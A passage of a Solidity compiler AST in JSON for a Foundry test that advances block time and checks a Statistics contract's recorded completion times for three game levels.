external"}},"id":65320,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1790:64:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65321,"nodeType":"ExpressionStatement","src":"1790:64:151"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":65328,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":65325,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"1872:5:151","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":65326,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1878:9:151","memberName":"timestamp","nodeType":"MemberAccess","src":"1872:15:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"39","id":65327,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1890:1:151","typeDescriptions":{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"},"value":"9"},"src":"1872:19:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":65322,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1864:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65324,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1867:4:151","memberName":"warp","nodeType":"MemberAccess","referencedDeclaration":15502,"src":"1864:7:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":65329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1864:28:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65330,"nodeType":"ExpressionStatement","src":"1864:28:151"},{"expression":{"arguments":[{"id":65334,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65148,"src":"1922:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65335,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65142,"src":"1940:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65336,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"1957:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65331,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"1902:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1908:13:151","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"1902:19:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1902:60:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65338,"nodeType":"ExpressionStatement","src":"1902:60:151"},{"expression":{"arguments":[{"id":65342,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65150,"src":"1997:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65343,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65144,"src":"2015:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65344,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"2032:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65339,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"1973:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65341,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1979:17:151","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"1973:23:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65345,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1973:64:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65346,"nodeType":"ExpressionStatement","src":"1973:64:151"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":65353,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":65350,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"2055:5:151","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":65351,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2061:9:151","memberName":"timestamp","nodeType":"MemberAccess","src":"2055:15:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"3139","id":65352,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2073:2:151","typeDescriptions":{"typeIdentifier":"t_rational_19_by_1","typeString":"int_const 19"},"value":"19"},"src":"2055:20:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":65347,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2047:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65349,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2050:4:151","memberName":"warp","nodeType":"MemberAccess","referencedDeclaration":15502,"src":"2047:7:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":65354,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2047:29:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65355,"nodeType":"ExpressionStatement","src":"2047:29:151"},{"expression":{"arguments":[{"id":65359,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65150,"src":"2106:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65360,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65144,"src":"2124:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65361,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"2141:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65356,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"2086:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65358,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2092:13:151","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"2086:19:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2086:60:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65363,"nodeType":"ExpressionStatement","src":"2086:60:151"},{"expression":{"arguments":[{"id":65367,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65152,"src":"2181:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65368,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65146,"src":"2199:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65369,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"2216:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65364,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"2157:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65366,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2163:17:151","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"2157:23:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65370,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2157:64:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65371,"nodeType":"ExpressionStatement","src":"2157:64:151"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":65378,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":65375,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"2239:5:151","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":65376,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2245:9:151","memberName":"timestamp","nodeType":"MemberAccess","src":"2239:15:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"3134","id":65377,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2257:2:151","typeDescriptions":{"typeIdentifier":"t_rational_14_by_1","typeString":"int_const 14"},"value":"14"},"src":"2239:20:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":65372,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2231:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65374,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2234:4:151","memberName":"warp","nodeType":"MemberAccess","referencedDeclaration":15502,"src":"2231:7:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":65379,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2231:29:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65380,"nodeType":"ExpressionStatement","src":"2231:29:151"},{"expression":{"arguments":[{"id":65384,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65152,"src":"2290:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65385,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65146,"src":"2308:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65386,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"2325:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65381,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"2270:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65383,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2276:13:151","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"2270:19:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65387,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2270:60:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65388,"nodeType":"ExpressionStatement","src":"2270:60:151"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"739:5:151","parameters":{"id":65153,"nodeType":"ParameterList","parameters":[],"src":"744:2:151"},"returnParameters":{"id":65154,"nodeType":"ParameterList","parameters":[],"src":"754:0:151"},"scope":65483,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":65434,"nodeType":"FunctionDefinition","src":"2591:396:151","nodes":[],"body":{"id":65433,"nodeType":"Block","src":"2626:361:151","nodes":[],"statements":[{"assignments":[65395],"declarations":[{"constant":false,"id":65395,"mutability":"mutable","name":"time1","nameLocation":"2644:5:151","nodeType":"VariableDeclaration","scope":65433,"src":"2636:13:151","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":65394,"name":"uint256","nodeType":"ElementaryTypeName","src":"2636:7:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":65401,"initialValue":{"arguments":[{"id":65398,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"2693:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65399,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65142,"src":"2699:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65396,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"2652:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65397,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2658:34:151","memberName":"getTimeElapsedForCompletionOfLevel","nodeType":"MemberAccess","referencedDeclaration":56182,"src":"2652:40:151","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view external returns (uint256)"}},"id":65400,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2652:63:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2636:79:151"},{"assignments":[65403],"declarations":[{"constant":false,"id":65403,"mutability":"mutable","name":"time2","nameLocation":"2733:5:151","nodeType":"VariableDeclaration","scope":65433,"src":"2725:13:151","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":65402,"name":"uint256","nodeType":"ElementaryTypeName","src":"2725:7:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":65409,"initialValue":{"arguments":[{"id":65406,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"2782:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65407,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65144,"src":"2788:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65404,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"2741:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65405,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2747:34:151","memberName":"getTimeElapsedForCompletionOfLevel","nodeType":"MemberAccess","referencedDeclaration":56182,"src":"2741:40:151","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view external returns (uint256)"}},"id":65408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2741:63:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2725:79:151"},{"assignments":[65411],"declarations":[{"constant":false,"id":65411,"mutability":"mutable","name":"time3","nameLocation":"2822:5:151","nodeType":"VariableDeclaration","scope":65433,"src":"2814:13:151","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":65410,"name":"uint256","nodeType":"ElementaryTypeName","src":"2814:7:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":65417,"initialValue":{"arguments":[{"id":65414,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"2871:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65415,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65146,"src":"2877:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65412,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"2830:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65413,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2836:34:151","memberName":"getTimeElapsedForCompletionOfLevel","nodeType":"MemberAccess","referencedDeclaration":56182,"src":"2830:40:151","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view external returns (uint256)"}},"id":65416,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2830:63:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2814:79:151"},{"expression":{"arguments":[{"id":65419,"name":"time1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65395,"src":"2913:5:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"39","id":65420,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2920:1:151","typeDescriptions":{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"},"value":"9"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"}],"id":65418,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"2904:8:151","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65421,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2904:18:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65422,"nodeType":"ExpressionStatement","src":"2904:18:151"},{"expression":{"arguments":[{"id":65424,"name":"time2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65403,"src":"2941:5:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"3139","id":65425,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2948:2:151","typeDescriptions":{"typeIdentifier":"t_rational_19_by_1","typeString":"int_const 19"},"value":"19"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_19_by_1","typeString":"int_const 19"}],"id":65423,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"2932:8:151","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2932:19:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65427,"nodeType":"ExpressionStatement","src":"2932:19:151"},{"expression":{"arguments":[{"id":65429,"name":"time3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65411,"src":"2970:5:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"3134","id":65430,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2977:2:151","typeDescriptions":{"typeIdentifier":"t_rational_14_by_1","typeString":"int_const 14"},"value":"14"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_14_by_1","typeString":"int_const 14"}],"id":65428,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"2961:8:151","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2961:19:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65432,"nodeType":"ExpressionStatement","src":"2961:19:151"}]},"documentation":{"id":65391,"nodeType":"StructuredDocumentation","src":"2521:65:151","text":"@notice Check the retrieval of time taken to complete levels."},"functionSelector":"fce090fb","implemented":true,"kind":"function","modifiers":[],"name":"testGetTimeTaken","nameLocation":"2600:16:151","parameters":{"id":65392,"nodeType":"ParameterList","parameters":[],"src":"2616:2:151"},"returnParameters":{"id":65393,"nodeType":"ParameterList","parameters":[],"src":"2626:0:151"},"scope":65483,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":65482,"nodeType":"FunctionDefinition","src":"3068:448:151","nodes":[],"body":{"id":65481,"nodeType":"Block","src":"3110:406:151","nodes":[],"statements":[{"assignments":[65439],"declarations":[{"constant":false,"id":65439,"mutability":"mutable","name":"time1","nameLocation":"3128:5:151","nodeType":"VariableDeclaration","scope":65481,"src":"3120:13:151","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":65438,"name":"uint256","nodeType":"ElementaryTypeName","src":"3120:7:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":65445,"initialValue":{"arguments":[{"id":65442,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"3177:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65443,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65142,"src":"3183:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65440,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"3136:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65441,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3142:34:151","memberName":"getTimeElapsedForCompletionOfLevel","nodeType":"MemberAccess","referencedDeclaration":56182,"src":"3136:40:151","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view external returns (uint256)"}},"id":65444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3136:63:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3120:79:151"},{"assignments":[65447],"declarations":[{"constant":false,"id":65447,"mutability":"mutable","name":"time2","nameLocation":"3217:5:151","nodeType":"VariableDeclaration","scope":65481,"src":"3209:13:151","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":65446,"name":"uint256","nodeType":"ElementaryTypeName","src":"3209:7:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":65453,"initialValue":{"arguments":[{"id":65450,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"3266:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65451,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65144,"src":"3272:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65448,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"3225:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65449,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3231:34:151","memberName":"getTimeElapsedForCompletionOfLevel","nodeType":"MemberAccess","referencedDeclaration":56182,"src":"3225:40:151","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view external returns 